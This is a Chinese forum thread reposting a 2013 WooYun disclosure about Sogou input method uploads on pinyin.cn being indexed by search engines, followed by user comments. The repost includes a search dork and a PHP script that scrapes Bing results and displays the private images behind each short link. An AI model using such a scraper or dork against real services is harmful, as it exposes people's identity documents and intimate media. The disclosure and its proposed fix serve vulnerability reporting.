搜狗输入法泄密事件，导致大量用户敏感信息泄露

http://www.wooyun.org/bugs/wooyun-2013-023081
这是原帖，镇长@乌云

下午发现微博疯传搜狗输入法泄密事件，网友们已经挖出了大量敏感 & 成年内容！

其实该漏洞乌云很久之前就接到了白帽子的报告，并且及时通知了厂商，但问题至今未得到有效的处理。搜狗输入法可导致大量用户敏感信息泄露









甚至还有部分 成年 音频流出



漏洞证明：

为了验证方便，写了一段代码这个是针对bing的结果弄的。

直接这种形式去查看吧，挺方便还支持翻页哦亲！

<?php
set_time_limit(0);
$url = 'http://cn.bing.com/search?q=site%3apinyin.cn&qs=n&pq=site%3apinyin.cn&sc=0-4&sp=-1&sk=&first={ddddd}1&FORM=PERE';

$i = $_GET['i'];
        $api = file_get_contents(str_replace('{ddddd}',$i,$url));
        preg_match_all('/<a href=\"http:\/\/pinyin.cn\/([a-zA-Z0-9]+)?\"/',$api,$a);
        foreach($a[1] as $v) {
                $api = file_get_contents('http://pinyin.cn/'.$v);
                preg_match('/<a target="_blank" href="(.*?)">/',$api,$aa);
                if($aa) {
                        echo '<br>';
                        echo '<a target="_blank" href="http://pinyin.cn/'.$v.'">http://pinyin.cn/'.$v.'</a>:';
                        echo '<img class=\'round_img\' id=\'round_img\' src="'.$aa[1].'" border=0 max-width="210px" max-height="210px" />';

                }
}
修复方案：

短信发送时可以带一组查看码(如4位字符)，打开链接时输入查看码才能查看内容。

漏洞详情披露状态：

2013-05-04：        细节已通知厂商并且等待厂商处理中
2013-05-05：        厂商已经确认，细节仅向厂商公开
2013-05-15：        细节向核心白帽子及相关领域专家公开
2013-05-25：        细节向普通白帽子公开
2013-06-04：        细节向实习白帽子公开
2013-06-05：        细节向公众公开

简要描述：

搜狗输入法信息发送过程存储了相对应的信息在云端，但由于相应配置及其他原因造成会话信息【图片、视频、音频】泄露。其中很多身份证、果照、还有检举信！！！

详细说明：

搜狗输入法信息发送过程存储了相对应的信息，由于不严谨造成信息被搜索引擎抓取。

Google或者bing：

输入关键词：site:pinyin.cn

[bing=3,700 条结果],[Google=约 1,120 条结果 ]

{:1_81:}  无语了

拒绝输入法联网。

{:7_748:}，不是吧

该文件已过期

Geass-CC 发表于 2013-6-5 18:38
无语了

{:7_857:}哈哈，你是不是也输入了照片啥的

phoenixx 发表于 2013-6-5 18:48
拒绝输入法联网。

come on 除非五笔输入法，拼音输入法联网绝对效率要高一大捷

我去，各种猛图。国人的东西以后真得慎重选择了……。

AOE青云 发表于 2013-6-5 18:56
，不是吧

已经很火了
http://www.wooyun.org/bugs/wooyun-2013-023081

这也有啊{:7_714:}

什么情况啊？

怎么信息到处都不能得到保全呢

0west0 发表于 2013-6-5 19:20
怎么信息到处都不能得到保全呢

我看不懂啊

0west0 发表于 2013-6-5 19:20
怎么信息到处都不能得到保全呢

说什么啊

从来不用什么搜狗{:7_742:}

搜狗还是可以的，不过一输入法搞什么语音，多媒体传送
多余东东一概不用

什么情况啊？???{:7_725:}

什么意思啊？我现在用的QQ拼音

输入法还连个P网

{:7_714:} 这个。。。